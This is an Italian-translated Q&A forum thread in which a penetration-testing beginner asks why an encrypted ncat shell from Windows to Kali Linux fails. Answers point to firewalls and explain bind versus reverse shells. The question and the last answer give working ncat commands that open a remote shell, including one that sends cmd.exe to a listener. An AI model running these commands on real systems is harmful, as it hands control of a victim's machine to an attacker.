Cercando di creare una shell di collegamento inverso da Windows a Linux

4

Sto provando a creare una shell di binding inversa crittografata dalla mia macchina Windows alla mia macchina Linux. Essendo totalmente nuovo ai test di penetrazione, sto avendo un po 'di problemi.

Per prima cosa, sulla mia macchina Linux (Kali), ho impostato un listener sulla porta 4444:

ncat -nlvp 4444 -e /bin/bash --ssl

Ho fatto molte ricerche e ho scoperto che avrei potuto renderlo interattivo, quindi ho provato ad aggiungere:

ncat -nlvp 4444 -e '/bin/bash -i' --ssl

Ora, sulla mia casella di Windows, mi collego ad esso e provo ad accedere al terminale per la mia macchina Linux digitando il seguente comando:

ncat -v windowsIPAddress 4444 --ssl

Ora, il mio box Linux non ha problemi di ascolto, ma l'output sulla mia finestra di Windows mostra solo:

C:\Windows\ncat> ncat -v linuxBoxIP 4444 --ssl
Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )
Ncat: .
C:\Windows\ncat>

Quindi non ho idea del motivo per cui mostra solo un " . " e non si connette al prompt dei comandi di Linux. Ho fatto ricerche per un lungo periodo e sembra che stia facendo tutto correttamente, ma ovviamente non lo sono.

Qualcuno ha qualche idea su questo problema?

    
posta Henry F 10.09.2015 - 17:38
fonte

3 risposte

2

Ho avuto un problema con il firewall sul lato Kali delle cose. Per chiunque si sia imbattuto in questa domanda, immagino che questa sia fondamentalmente una guida ora piuttosto che una domanda.

La risposta è disattivare le impostazioni del firewall appropriate sulla macchina Kali e tutto dovrebbe funzionare correttamente.

    
risposta data 11.09.2015 - 19:28
fonte
1

La porta 4444 è bloccata sul firewall delle macchine Windows, non sulla macchina Kali. Puoi risolvere questo problema in due modi: cambia le porte (in qualcosa come 4443) o puoi disabilitare il firewall sulla macchina Windows.

    
risposta data 24.02.2017 - 13:26
fonte
1

In una shell inversa, il computer di destinazione (casella di Windows) invia una shell (cmd.exe) al computer recitazione (box Linux).

Nel tuo codice, hai il post del listener Linux

-e /bin/bash

ma questo è il codice per una shell di binding. Linux userebbe solo una shell di binding con -e /bin/bash quando vuole che un altro computer sia in grado di eseguire il codice sulla scatola di Linux.

In una shell inversa il codice eseguibile verrebbe inviato dal computer di destinazione, in questo caso la casella di Windows.

Il listener di Linux non designa un eseguibile, ma aspetta che un programma eseguibile venga inviato ad esso, e semplicemente ascolta.

ncat -vnlp <port> --ssl

Windows invierà una shell eseguibile crittografata con ssl per consentire al destinatario di controllare la casella di Windows.

ncat -e cmd.exe -nv <Linux IP> <port> --ssl

Questo è diverso dal tuo codice in quanto l'eseguibile è cmd.exe piuttosto che /bin/bash . Una finestra di Windows non saprebbe cosa fare con /bin/bash .

È anche diverso dal tuo codice in quanto l'indirizzo IP inviato è quello della scatola Linux piuttosto che l'IP di Windows. Windows conosce già il proprio IP e invia l'IP di Linux in modo che -e cmd.exe possa raggiungere il computer adatto per ottenere il controllo della riga di comando.

In una shell inversa, Windows invia l'eseguibile a un altro computer invece di utilizzare una shell di binding perché un firewall impedisce all'altro computer di accedere al socket per completare il binding.

Con successo, il computer Linux verrebbe presentato con la riga di comando di Windows che esegue i comandi sul computer Windows.

    
risposta data 31.12.2018 - 21:51
fonte

Leggi altre domande sui tag